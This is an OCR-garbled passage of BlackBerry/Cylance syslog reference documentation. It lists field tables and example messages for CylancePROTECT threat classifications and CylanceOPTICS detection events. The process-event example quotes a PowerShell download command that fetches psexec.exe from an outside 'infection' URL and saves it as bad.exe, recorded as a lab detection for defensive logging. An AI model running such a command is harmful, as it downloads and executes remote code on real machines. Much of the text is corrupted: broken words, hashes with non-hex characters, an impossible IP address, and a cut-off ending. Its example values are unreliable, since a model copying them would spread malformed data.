vi russhare_00f bc4cc4b42774b50a9f 71074b79bd9, Pat h: c:\ruby\ host aut onati on
\test\data\test files\, Drive Type: None, File Omer: SH W n81- 1\ Exanpl euser,
SHA256: 1EBF3B8A61A7E0023AAB3B0CB24938536A1D87BCELIFCC6442E137FB2A7DD510B, MD5:
Status: Unsafe, Cylance Score: 100, Found Date: 6/1/2015 10:57:42 PM File Type:
Execut abl e, I's Running: False, Auto Run: False, Detected By: FileWtcher), Zone
Nanes: (Script Test, Server Test), |Is Malware: False, |Is Unique to Cylance: Fal se,
Threat C assification: File Unavail abl e

CylancePROTECT Desktop threat classifications

The CylancePROTECT cloud services classify threats as either malware or potentially unwanted programs (PUPs).
By selecting this option, you are subscribing to be notified when these events occur.

Field Value Description
Event Type ThreatClassification This is a threat classification event.
Event Name ThreatUpdated The threat details have been updated.
MD5 [varies] This is the MD5 hash for the file.
SHA256 [varies] This is the SHA256 hash for the file.
Threat Classification [Threat class] - [Threat The threat classification indicates the threat class,
subclass] - [Threat family  threat subclass, and threat family name. The possible
name] class and subclass values are detailed below. The
value of family name varies depending on the nature
of the threat.

[Threat class] values

Dual Use The file can be used for malicious and non-malicious
purposes.

| CylancePROTECT Desktop event types | 30



Field

Value

Description

File Unavailable

Malware

Possible PUP

PUP

Trusted

[Threat subclass] values

Adware

Backdoor

Bot

Corrupt
Crack
Downloader
Dropper
Exploit

Fake Alert

Fake AV

Game
Generic
Hacking Tool

Infostealer

Keygen

The file is unavailable for analysis. For example, the
file is too large to upload.

The file has been identified as malicious.

The file might be a potentially unwanted program
(PUP).

The file has been identified as a possible potentially
unwanted program (PUP).

The file has been identified as safe.

The file has advertisements or unwanted bundled
add-ons.

The file provides unauthorized access.

The file contains malware that connects to a botnet
server.

The file is malformed or unable to run.

The file is altered to bypass licensing.

The file contains malware that downloads data.

The file contains malware that installs other malware.
The file attacks a specific vulnerability.

The file contains malware that appears to be
legitimate security software.

The file contains malware that appears to be
legitimate security software.

This is a game file.
This file does not fit into any existing category.
This file is a hacking tool.

This file records login credentials and other sensitive
information.

This file generates product keys.
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Field

Value

Description

Monitoring Tool

Other

Parasitic
Pass Crack

Portable Application

Ransom
Remnant
Remote Access
Rootkit

Scripting Tool

Tool

Toolbar

Trojan
Virus

Worm

This file tracks a user’s activities.

This is a category used for PUPs that don't fit
anything else.

This threat is spread by attacking other programs.
This file is used to reveal passwords.

This file is designed to run without needing
installation.

This file restricts access.

These are remnants post removal.

This file can access another system remotely.
This file avoids detection.

This is any script that can run as if it were an
executable.

These are administrative features used to attack or
intrude.

This is any technology that places additional buttons
or input boxes on-screen.

This file disguises itself as legitimate software.
This file inserts or appends itself to other files.

This file propagates by copying itself to another
device.

Example message for threat classifications

Bl ackBerry Protect

Deskt op: Event Type:

Thr eat Updat ed, SHA256:
1218493137321 C1D1F897B0C25BEF17CDDOBE9C99B84B4DD8B51EAC8F9794F65, Thr eat

Cl assification:

Mal ware - Worm - QuKart

Threat Cl assi ficati on, Event Name:
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CylanceOPTICS detection events

This option is visible only to users who have CylanceOPTICS enabled. CylanceOPTICS events represent malicious
or suspicious events detected by the CylanceOPTICS Context Analysis Engine (CAE). Selecting this option will
send a message to the syslog server whenever an applicable CylanceOPTICS detection rule or threat detection
module is triggered on a CylanceOPTICS device. Selecting this option will enable syslog messages for the
following detection event types: process events, file events, registry events, network events, and memory events.

Due to the volume of information included in CylanceOPTICS detection events, the syslog representation of
a detection event is reduced in size, and it does not contain the full set of information that is available from
the management console or the API.

CylanceOPTICS process-based detection events

These events occur when a detection event that includes a target process artifact is triggered. Note that some
fields will include command line values that can include commas and colons. BlackBerry recommends that you
review and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that was
triggered.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Id [varies] This is the unique ID of the device.

Device Last Reported Users [varies] These are the last reported device users.

Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection event.

Event Name OpticsCaeProcessEvent This is the detection event involved a target
process.

Event Received Timestamp [varies] This is the timestamp of when the event was

received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaeProcessEvent This is the detection event involved in a target
process.
Instigating Process Command Line [varies] This is the command line that was used to start

the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating process
executable.
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Field Value Description

Instigating Process [varies] This is the SHA256 hash of the process that
ImageFileSha256 instigated the action.

Instigating Process Name [varies] This is the process that instigated the action.
Instigating Process Owner [varies] This is the user that owns the process that

instigated the action.

Severity [varies] This is the severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that should be
reviewed

+ Low: An important event that may not be
malicious
* Info: An observed event

Target Process Command Line [varies] This is the command line that was used to start
the process of interest for the process event.

Target Process File Path [varies] This is the path of the target process
executable.
Target Process ImageFileSha256 [varies] This is the SHA256 hash of the process that

was started or terminated.

Target Process Name [varies] This is the name of the process that was
started or terminated.

Target Process Owner [varies] This is the user who owns the process that was
started or terminated.

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device belongs to.

Example message for process-based detection events

Event Type: OpticsCaeProcessEvent, Event Nane: OpticsCaeProcessEvent,
Devi ce Name: SECURI TYSERVER2, Zone Nanes: (Jeff Test), Event |d: dbe47fda-
f 37b- 42cc- a308- 9675f eb7e36a, Severity: High, Description: Jeffs Take
2 Powershell Downl oad, Instigating Process Name: cnd. exe, Instigating
Process Omner: PENTEST//Admi ni strator, Instigating Process |nageFil eSha256:
935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,
Event Ti nestanp: 2022-06-23T12: 54:15.8117Z, Event Received Ti nestanp:
2022-06-23T12: 54: 41Z, Devi ce Last Reported Users: (PENTEST\ Adm nistrator),
Zone lds: (39BFDA7FEF71490584AAB4F163142350), Detection Rule |d:
3f 110342- 88f 8- 11ec- aB8a3- 0242ac120002, Instigating Process Comrand
Li ne: "C: \ Wndows\ systenB2\cnd. exe" , Instigating Process File Path: c:
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\'wi ndows\ syst enB2\ cnd. exe, Target Process Nane: powershell.exe, Target
Process Omner: PENTEST//Adm ni strator, Target Process |nageFil eSha256:
BA4038FD20E474C047BESAADSBFACDB1BFC1DDBE12F803F473B7918D8D819436, Devi ce
I d: 3514593e- 7405- 4319- 8cab- 8ec876bf 0195, Target Process Conmand Li ne:
power shel | -command " (new obj ect SYstem Net.WbC i ent). Downl oadFil e(' https://
zaphod. cnerds. net/i nfection/ psexec.exe', 'C \dver\bad.exe')", Target Process File
Pat h: c:\w ndows\ syst enB82\ wi ndowspower shel I\ v1. O\ power shel | . exe

CylanceOPTICS file-based detection events

These events occur when a detection event that includes a target-file artifact is triggered. Note that some fields
will include command line values that can include commas and colons. BlackBerry recommends that you review
and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that was
triggered.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Id [varies] This is the unique ID of the device.

Device Last Reported Users [varies] These are the last reported device users.

Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection event.

Event Name OpticsCaeFileEvent This is the detection event involved in a target
file.

Event Received Timestamp [varies] This is the timestamp of when the event was

received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaeFileEvent This is the detection event involved a target file.

Instigating Process Command Line [varies] This is the command line that was used to start
the process of interest for the process event.

Instigating Process File Path [varies] This is the path of the target process
executable.

Instigating Process [varies] This is the SHA256 hash of the process that

ImageFileSha256 instigated the action.

Instigating Process Name [varies] This is the name of the process that instigated
the action.
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Field Value Description

Instigating Process Owner [varies] This is the user that owns the process that
instigated the action.

Severity [varies] Severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that should be
reviewed

+ Low: An important event that may not be
malicious

+ Info: An observed event

Target File Sha256 [varies] This is the SHA256 hash of the file that was
acted on (created, written, overwritten, or
deleted). SHA256 hashes are not available for
all file types

Target File Path [varies] This is the path of the file that was acted on
(created, written, overwritten, or deleted).

Target File Owner [varies] This is the owner of the file that was acted on
(created, written, overwritten, or deleted).

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device belongs to.

Example message for file-based detection events

Event Type: OpticsCaeFil eEvent, Event Nane: OpticsCaeFil eEvent, Device

Nanme: SECURI TYSERVER3, Zone Nanes: (JeffTesting, JeffSecurityServer),

Event 1d: f4739af 7-9c8b-4dc0- aeb7-2d4533445d49, Severity: Medi um

Description: SYSLOG detections - Looking for a created file

cyl ancetest.txt, Instigating Process Nane: cnd.exe, Instigating Process

Owner: PENTEST// Admi ni strator, |Instigating Process | nmageFil eSha256:

BC866 CFCDDA37E24DC2634DC282C7A0E6F55209DA17A8FA105B07414C0E7C527,

Event Ti mestanp: 2022-06-28T18: 09: 32. 693Z, Event Received Ti nest anp:

2022- 06- 28T18: 09: 36Z, Device Last Reported Users: (PENTEST\ Adm nistrator),
Zone |ds: (F568A8A8E401470282C1lFE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,

Detection Rule Id: 74bdOe7e-281la-4d7b- 9f 84- dOf 51346782c, Instigating Process

Conmand Line: "C. \W ndows\systenB2\cnd. exe" , Instigating Process File Path:

c:\wi ndows\ systenB2\cnd. exe, Target File Path: c:\users\admnistrator.pentest
\ downl oads\ sysl og test cae rules\cyl ancetest.txt, Target File Ower: BU LTIN/
Adm ni strators, Target File Sha256: , Device |d: c7b79f 9f - 4f be- 4f 90- 9658-
ec7el7af 1954
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CylanceOPTICS registry-based detection events

These events occur when a detection event that includes a registry process artifact is triggered. Note that some
fields will include command line values that can include commas and colons. BlackBerry recommends that you
review and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.
Device Id [varies] This is the unique ID of the device.
Device Last Reported Users [varies] These are the last reported device users.
Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.
Event Name OpticsCaeRegistryEvent This is the detection event involved in a

target registry item.

Event Received Timestamp [varies] This is the timestamp of when the event
was received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaeRegistryEvent This is the detection event involved a
target registry item.

Instigating Process Command  [varies] This is the command line that was used to

Line start the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating
process executable.

Instigating Process [varies] This is the SHA256 hash of the process

ImageFileSha256 that instigated the action.

Instigating Process Name [varies] This is the name of the process that

instigated the action.

Instigating Process Owner [varies] This is the user that owns the process that
instigated the action.

| CylanceOPTICS detection events | 37



Field Value Description

Severity [varies] Severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious
Info: An observed event

Target Registry KeyPath [varies] This is the path of the registry key
that was acted on (created, written,
overwritten, or deleted).

Target Registry ValueName [varies] This is the value name of the registry
item that was acted on (created, written,
overwritten, or deleted).

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for registry-based detection events

Event Type: OpticsCaeRegi stryEvent, Event Nane: OpticsCaeRegi stryEvent, Device
Nanme: SECURI TYSERVER3, Zone Nanes: (JeffTesting, JeffSecurityServer), Event |d:
6d33d636- dcdc-48c2-911a- ead99acl17f 88, Severity: Medium Description: SYSLOG
detections - RegistryKey \software\classes\*\shell ex\ cont ext menuhandl ers

\cywar eshl ext, Instigating Process Nane: | CreatePersistencePoints.exe, Instigating
Process Omer: PENTEST//Admi ni strator, Instigating Process |nageFil eSha256:
F83926AB855E860CI9B1A6D72EB6024DOE1D569A59E4901A62E8543B1C978D5ES,

Event Ti mestanp: 2022-06-28T18: 08: 49. 103Z, Event Received Ti nest anp:

2022- 06- 28T18: 08: 54Z, Devi ce Last Reported Users: (PENTEST\ Adm nistrator),
Zone |ds: (F568A8A8E401470282C1lFE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,
Detection Rule Id: 74354415-7d28- 4f 31- 830d- 72a14c0c3d8b, Instigating Process
Conmand Li ne: | CreatePersistencePoints.exe --trigger 0, Instigating Process
File Path: c:\users\adm nistrator.pentest\downl oads\sysl og test cae rules

\'i creat eper si st encepoi nts. exe, Target Registry KeyPath: HKLM software\classes\*

\ shel | ex\ cont ext nenuhandl er s\ cywar eshl ext, Target Registry Val ueNane: , Device |d:
c7b79f 9f - 4f be- 4f 90- 9658- ec7el7af 1954

CylanceOPTICS network-based detection events

These events occur when a detection event that includes a network process artifact is triggered. Note that some
fields will include command line values that can include commas and colons. BlackBerry recommends that you
review and test the parsing of these values by your SIEM or syslog server.
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Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Destination IP [varies] This is the destination IP address involved
with a detection event. This is typically a
resource external to your environment.

Destination Port [varies] This is the network port on the destination
IP address involved with a detection event.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Id [varies] This is the unique ID of the device.

Device Last Reported Users [varies] These are the last reported device users.

Device Name [varies] This is the name of the device that the
detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.

Event Name OpticsCaeNetworkEvent This is the detection event involved in a
network connection.

Event Received Timestamp [varies] This is the timestamp of when the event
was received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaeNetworkEvent This is the detection event involved a
network connection.

Instigating Process Command  [varies] This is the command line that was used to

Line start the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating
process executable.

Instigating Process [varies] This is the SHA256 hash of the process

ImageFileSha256 that instigated the action.

Instigating Process Name [varies] This is the name of the process that
instigated the action.

Instigating Process Owner [varies] This is the user who owns the process

that instigated the action.
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Field Value Description

Severity [varies] The severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious
Info: An observed event

Source IP [varies] This is the IP address of the device for the
event.
Source Port [varies] This is the port on the device that the

network request originated from.

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for network-based detection events

Event Type: OpticsCaeNetwor kEvent, Event Nane: OpticsCaeNetwor kEvent,
Devi ce Name: SECURI TYSERVER3, Zone Nanes: (JeffTesting, JeffSecurityServer),
Event |1d: 23a04c4c-1a97-4a58- bdbc-fadadb729e32, Severity: Medi um
Descri ption: SYSLOG detections - Looking for NetworkConnection 8. 8. 8.8,
I nstigating Process Name: | CreateNetworkConnections. exe, Instigating
Process Omer: PENTEST//Admi ni strator, Instigating Process |nageFil eSha256:
F816E73FFADOCA8684B6E44292276DDOBICB8890ABAA732A7AEB283B46D32003,
Event Ti mestanp: 2022-06-28T18: 09: 56. 392Z, Event Received Ti nest anp:
2022- 06- 28T18: 10: 00Z, Devi ce Last Reported Users: (PENTEST\ Adm nistrator),
Zone |ds: (F568A8A8E401470282C1lFE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,
Detection Rule Id: fdac76c9-5c6b-4b6f-8062-e074457af e3e, Instigating Process
Command Li ne: | CreateNetworkConnections. exe --sequential 8.8.8.8, Instigating
Process File Path: c:\users\adm ni strator.pentest\downl oads\sysl og test cae rul es
\'i creat enet wor kconnect i ons. exe, Destination IP: 8.8.8.81, Destination Port: 29281,
Devi ce Id: c7b79f 9f - 4f be- 4f 90- 9658- ec7el7af 1954, Source |P: 192.168. 254. 102,
Source Port: 52912

CylanceOPTICS memory-based detection events

These events occur when a detection event that includes a macOS memory event is triggered (for example,
changing an area of memory marked as read/write to execute). Note that some fields will include command line
values that can include commas and colons. BlackBerry recommends that you review and test the parsing of
these values by your SIEM or syslog server.
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Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Id [varies] This is the unique ID of the device.

Device Last Reported Users [varies] These are the last reported device users.

Device Name [varies] This is the name of the device that the
detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.

Event Name OpticsCaeMemoryEvent This is the detection event involved in a

Event Received Timestamp
Event Timestamp

Event Type

Instigating Process Command
Line

Instigating Process File Path
Instigating Process
ImageFileSha256

Instigating Process Name

Instigating Process Owner

Severity

[varies]

[varies]

OpticsCaeMemoryEvent

[varies]

[varies]

[varies]

[varies]

[varies]

[varies]

memory event.

This is the timestamp of when the event
was received by CylanceOPTICS.

This is the timestamp of the event that
occurred on the device.

This is the detection event involved a
memory event.

This is the command line that was used to
start the instigating process.

This is the file path of the instigating
process executable.

This is the SHA256 hash of the process
that instigated the action.

This is the name of the process that
instigated the action.

This is the user who owns the process
that instigated the action.

The severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious
+ Info: An observed event
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Field Value Description

Zone lds [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for memory-based detection events

Event Type: OpticsCaeMenoryEvent, Event Name: OpticsCaeMenoryEvent, Device
Nane: SECURI TYSERVER3, Zone Nane: (JeffTesting,Jeff_3.0), Event Id:
cd4e7d4el- 8739- 4996- 83a3- 19d9bab583882, Severity: Medium Description: Looking for
a protect nmenory event, Instigating Process Nane: AttackTest32.exe, Instigating
Process Omner: PENTEST/ Admi nistrator, Instigating Process |nageFil eSha256:
2762CB5818C67BDD28DFE88FB528EFO06BOCLAB5C175E2206B49C85BB8672C2EC,

Event Ti mestanp: 2022-07-21T12:55:02.277Z, Event Received Ti nestanp:
2022-07-21T12: 55:; 252,

Devi ce Last Reported Users: PENTEST\ Adm ni strator, Zone |ds:
(F568A8A8E401470282C1FE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA), Det ecti on
Rul e 1d: edf530c6-6b0e-4be2-aeb6-d3f 8001f ce05, Instigating Process Comand
Li ne: AttackTest32.exe -p: 8000, Instigating Process File Path: c:\users

\'adni ni st rat or. pent est\ downl oads\ att ackt est\ at t ackt est 32. exe, Device |d:
e378dach- 9324- 453a- b8c6- 528406952195

CylanceOPTICS DNS-based detection events

These events occur when a detection event that includes a DNS-based artifact is triggered. Note that some fields
will include command line values that can include commas and colons. BlackBerry recommends that you review
and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.
Device Id [varies] This is the unique ID of the device.
Device Last Reported Users [varies] These are the last reported device users.
Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.
Event Name OpticsCaeDNSEvent This is the detection event involved in a

DNS-based connection.
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Field Value Description
Event Received Timestamp [varies] This is the timestamp of when the event
was received by CylanceOPTICS.
Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.
Event Type OpticsCaeDNSEvent This is the detection event involved in a
DNS-based connection.
Instigating Process Command  [varies] This is the command line that was used to
Line start the instigating process.
Instigating Process File Path [varies] This is the file path of the instigating
process executable.
Instigating Process [varies] This is the SHA256 hash of the process
ImageFileSha256 that instigated the action.
Instigating Process Name [varies] This is the name of the process that
instigated the action.
Instigating Process Owner [varies] This is the user that owns the process that
instigated the action.
Resolved Address [varies] This is the resolved IP address of the
domain.
Resolved Address Count [varies] This is the number of resolved IP
addresses for the domain.
Severity [varies] The severity of the event:
+ High: A malicious event that requires
immediate attention
+  Medium: A suspicious event that
should be reviewed
+ Low: An important event that may not
be malicious
Info: An observed event
Target Domain Name [varies] This is the target domain that was
attempted to be resolved.
Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.
Zone Names [varies] These are the zones that the device

belongs to.
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Example message for DNS-based detection events

Event Type: OpticsCaeDnsEvent, Event Nane: Opti csCaeDnsEvent, Device
Name: SECURI TYSERVER, Zone Names: (Jeff Testing, Jeff SecurityServer),
Event |d: 6458f3ac-e527-4922-83ac-654518c3137e, Severity:
Medi um Description: Wn_Suspi ci ous_DNSLength_MtreT1071,
Instigating Process Name: | sass.exe, Instigating Process Oaner:
NT AUTHORI TY// SYSTEM | nstigating Process | nmageFil| eSha256:
91EAB6178A9BB2B268E7438E54B128F939C0BDF5BDBAC8B15EFCAF0572AADC3F,
Event Ti nestanp: 2022-06-28T17: 34:12.772Z, Event Received Ti nestanp:
2022- 06- 28T17: 34: 33Z, Device Last Reported Users: (PENTEST\Adni nistrator),
Zone lds: (F568A8A8E401470282C1FE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,
Detection Rule Id: Oda4f 7c3-af 0d- 46be- 8f 6b- 1884a1c67331, Instigating
Process Conmand Line: C:\W ndows\systenB2\I|sass. exe, |nstigating
Process File Path: c:\w ndows\systenB2\| sass. exe, Target Domai n Name:
7f 2a98df - 486e- 4cec- 8d6e- c227073955e6. nsdcs. Pent est. Local ., Resol ved
Addr ess: securityserver. Pentest.Local, Resolved Address Count: 1, Device |d:
41666e82- 50e6- 4777- 88b6- 5f 2b567027b9

CylanceOPTICS log-based detection events

These events occur when a detection event that includes a log-based artifact is triggered. Note that some fields
will include command line values that can include commas and colons. BlackBerry recommends that you review
and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.
Device Id [varies] This is the unique ID of the device.
Device Last Reported Users [varies] These are the last reported device users.
Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.
Event Name OpticsCaelLogEvent This is the detection event involved in a

log-based connection.

Event Received Timestamp [varies] This is the timestamp of when the event
was received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.
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Field Value Description

Event Type OpticsCaelogEvent This is the detection event involved a log-
based connection.

Instigating Process Command  [varies] This is the command line that was used to

Line start the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating
process executable.

Instigating Process [varies] This is the SHA256 hash of the process

ImageFileSha256 that instigated the action.

Instigating Process Name [varies] This is the name of the process that

instigated the action.

Instigating Process Owner [varies] This is the user who owns the process
that instigated the action.

Security Provider [varies] This is the name of the service that
generated the Windows event log
message.

Severity [varies] The severity of the event:

« High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious
Info: An observed event

Windows Event ID [varies] This is the numerical Windows event ID
associated with the Windows event.

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for log-based detection events

Event Type: OpticsCaeLogEvent, Event Nane: OpticsCaelLogEvent, Device Nane:
SECURI TYSERVER3, Zone Nanes: (JeffTesting, JeffSecurityServer), Event
| d: baB8810a9- af ac- 4579- 82a2- 638f 0f 584d60, Severity: Hi gh, Description:
W n_CreateAccount _MtreT1136, Instigating Process Nane: |sass.exe, Instigating
Process Omer: NI AUTHORI TY// SYSTEM Instigating Process | mageFil eSha256:
BBC83E4759D4B82BAD31E371AD679AA414C72273BF97CEESAED8337EDS8A4 D7 9F,
Event Ti nestanp: 2022-06-28T18: 17: 05.001Z, Event Received Ti nestanp:
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2022-06-28T18: 17: 10Z, Devi ce Last Reported Users: (PENTEST\ Adm nistrator),
Zone lds: (F568A8A8E401470282CLFE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,
Detection Rule Id: 266e750f-a838-4974-9af c- 20cb863031cc, Instigating Process
Conmmand Line: C:\W ndows\ systenB2\| sass. exe, Instigating Process File Path:
c:\wi ndows\ syst enB2\ | sass. exe, Wndows Event |d: 4720, Security Provider:
SecurityAudi t Provi der, Device Id: c7b79f 9f - 4f be- 4f 90- 9658- ec7el7af 1954

CylanceOPTICS PowerShell trace detection events

These events occur when a detection event that includes a PowerShell trace artifact is triggered. Note that some
fields will include command line values that can include commas and colons. BlackBerry recommends that you
review and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.
Device Id [varies] This is the unique ID of the device.
Device Last Reported Users [varies] These are the last reported device users.
Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.
Event Name OpticsCaePowershellTraceEvent This is the detection event involved in a

PowerShell trace.

Event Received Timestamp [varies] This is the timestamp of when the event
was received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaePowershellTraceEvent This is the detection event involved a
PowerShell trace.

Instigating Process Command  [varies] This is the command line that was used to

Line start the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating
process executable.

Instigating Process [varies] This is the SHA256 hash of the process

ImageFileSha256 that instigated the action.
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Field Value Description

Instigating Process Name [varies] This is the name of the process that
instigated the action.

Instigating Process Owner [varies] This is the user that owns the process that
instigated the action.

Payload [varies] This is the PowerShell modules and/or
arguments that were passed into the
PowerShell interpreter.

Payload Length [varies] This is the length of the observed
PowerShell payload field.

Script Block Length [varies] This is the length of the observed
PowerShell script block text field.

Script Block Text [varies] This is the content of a PowerShell script
or module that was loaded or executed by
the PowerShell interpreter.

Severity [varies] The severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious
Info: An observed event

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for Powershell trace detection events

Event Type: OpticsCaePowershel | TraceEvent, Event Nane:
Opt i csCaePower shel | TraceEvent, Devi ce Name: SECURI TYSERVER3, Zone Nanes:
(JeffTesting, Jef f SecurityServer), Event |d: 4b199c5c-60dc-4b5c-8dac-86965ba5b051,
Severity: Medium Description: SYSLOG detections - Looking for Powershell Trace
get-childitem Instigating Process Name: powershell.exe, Instigating
Process Omer: PENTEST//Admi ni strator, Instigating Process |nageFil eSha256:
DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,
Event Ti mestanp: 2022-06-28T18: 10: 39. 547Z, Event Received Ti nest anp:
2022- 06- 28T18: 10: 43Z, Device Last Reported Users: (PENTEST\ Adm nistrator),
Zone |ds: (F568A8A8E401470282C1lFE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,
Detection Rule Id: 9eb1073c-913f-49ab-9b12- 2e5a28dad18d, Instigating Process
Conmmand Line: powershell gwm -class win32 process, Instigating Process
File Path: c:\w ndows\systenB2\w ndowspower shel [ \v1l. O\ powershel | . exe, Scri pt
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Bl ock Text: @ GUI D="EEFCB906- B326-4E99- 9F54- 8B4BB6EF3C6D" Aut hor ="M cr osof t
Cor por at i on" ConpanyNanme="M cros, Script Block Length: 2583, Payl oad: None,
Payl oad Length: 0, Device Id: c7b79f 9f - 4f be- 4f 90- 9658- ec7el7af 1954

CylanceOPTICS WMI-based detection events

These events occur when a detection event that includes a Windows Management Instrumentation (WMI)
process artifact is triggered. Note that some fields will include command line values that can include commas
and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog
server.

Field Value Description

Consumer Text [varies] This is the text associated with a WMI
event. This is typically the command to be
executed.

Consumer Text Length [varies] This is the length of the observed

consumer text field.

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.
Device Id [varies] This is the unique ID of the device.
Device Last Reported Users [varies] These are last reported device users.
Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.

Event Name OpticsCaeWmiEvent This is the detection event involved a WMI
connection.

Event Received Timestamp [varies] This is the timestamp of when the event

was received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaeWmiEvent This is the detection event involved in a
WMI connection.

Instigating Process Command  [varies] This is the command line that was used to
Line start the instigating process.
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Field Value Description

Instigating Process File Path [varies] This is the file path of the instigating
process executable.

Instigating Process [varies] This is the SHA256 hash of the process

ImageFileSha256 that instigated the action.

Instigating Process Name [varies] This is the name of the process that

instigated the action.

Instigating Process Owner [varies] This is the user that owns the process that
instigated the action.

Operation [varies] This is the WMI operation that was
executed. This is typically a binding
creation, a filter creation, or a consumer
creation.

Operation Length [varies] This is the length of the observed
operation field.

Severity [varies] The severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious

Info: An observed event

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for WMI-based detection events

Event Type: OpticsCaeWr Event, Event Nane: OpticsCaeWr Event, Device Nane:
JEFW LLI AMS-1, Zone Nanes: (JeffTesting,Jeff 3.0), Event |d: 9fa208e5-779d-40b1l-
bde2- 44¢c330600396, Severity: Medium Description: SYSLOG detections - Looking
for Wr Trace select, Instigating Process Nane: Wi PrvSE. exe, Instigating Process
Owner: NT AUTHORI TY// NETWORK SERVI CE, Instigating Process |nageFil eSha256:
B5C78BEF3883E3099F7EF844DA1446DB29107E5C0223B97F29E7FAFABS527F15,
Event Ti nestanp: 2022-06-28T18: 09: 55. 6137, Event Received Ti nestanp:
2022-06-28T18: 09: 57Z, Device Last Reported Users: (RIMNET\jefwi llians), Zone |ds:
( F568A8A8E401470282CLFE98FDD1703C, 24362CB3F25D4EB59C03FD6E3800C20E), Det ecti on
Rul e 1d: f83blac8-b966-4297-bed7-bb893bf 23f 2d, Instigating Process Comand Li ne:
C: \ W NDOWB\ syst enB2\ wbem wiri prvse. exe- secur ed- Enbeddi ng, I nstigating Process
File Path: c:\w ndows\systenB2\ wbem wri prvse. exe, Consuner Text: None, Consuner
